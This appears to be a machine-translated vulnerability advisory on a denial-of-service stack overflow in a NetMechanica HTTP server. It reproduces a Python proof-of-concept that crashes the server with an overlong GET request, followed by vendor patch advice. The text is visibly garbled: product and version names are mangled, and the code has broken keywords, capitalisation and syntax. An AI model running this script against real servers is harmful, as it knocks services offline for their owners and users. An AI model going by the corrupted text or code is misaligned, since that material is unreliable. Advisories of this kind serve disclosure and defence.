Netdemo-http Server long HTTP Request Remote Denial of Service Vulnerability

Release date:
Updated on:

Affected Systems:
Netmechanic ICA netdemo-4.5.1
Unaffected system:
Netmachica netde00004.6.1
Description:
--------------------------------------------------------------------------------
Bugtraq id: 52208

Netdemo-http Server provides standard HTTP services on a Windows workstation or Server.

The netdemo-http server has a boundary error when processing Web requests. A too long URL can cause stack buffer overflow and the affected applications to crash.

<* Source: Prabhu S Angadi

Link: http://www.secpod.org/advisories/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_Vuln.txt
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Prabhu S Angadi () provides the following test methods:

#! /Usr/bin/python
######################################## ######################################
#
# Title: netmechanic netdemo-http Server Denial Of Service
# Vulnerability
# Author: Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor: http://www.netmechanica.com
# Advisory: http://secpod.org/blog? P = 484
# Http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_Vuln.txt
# Http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py
# Software: netmechanic netdemo-http Server version 4.5.1
# Date: 05/12/2011
#
######################################## #######################################

Import socket, sys, time

If len (sys. argv) <2:
Print "\ t [-] Usage: python secpod_netmechanic ica_netdecision_http_server_dos_poc.py target_ip"
Print "\ t [-] Example: python secpod_netmechanic ica_netdecision_http_server_dos_poc.py 127.0.0.1"
Print "\ t [-] Exiting ..."
Sys. exit (0)

Port = 80
Target = sys. argv [1]

Try:
Socket. inet_aton (target)
Failed t socket. error:
Print "Invalid IP address found ..."
Sys. exit (1)

Try:
Sock = socket. socket (socket. AF_INET, socket. SOCK_STREAM)
Sock. connect (target, port ))
Except t:
Print "socket () failed: Server is not running"
Sys. exit (1)

Exploit = "GET" + "A" * 1276 + "\ r \ n" + "\ r \ n"

Print "http get request with long filename triggers the vulnerability"
Data = exploit
Sock. sendto (data, (target, port ))
Time. sleep (5)
Print "[+] Please verify the server daemon port, it must be down ...."

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Netmechanic
------------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.netmechanica.com/products? Prod_id = 1, 1015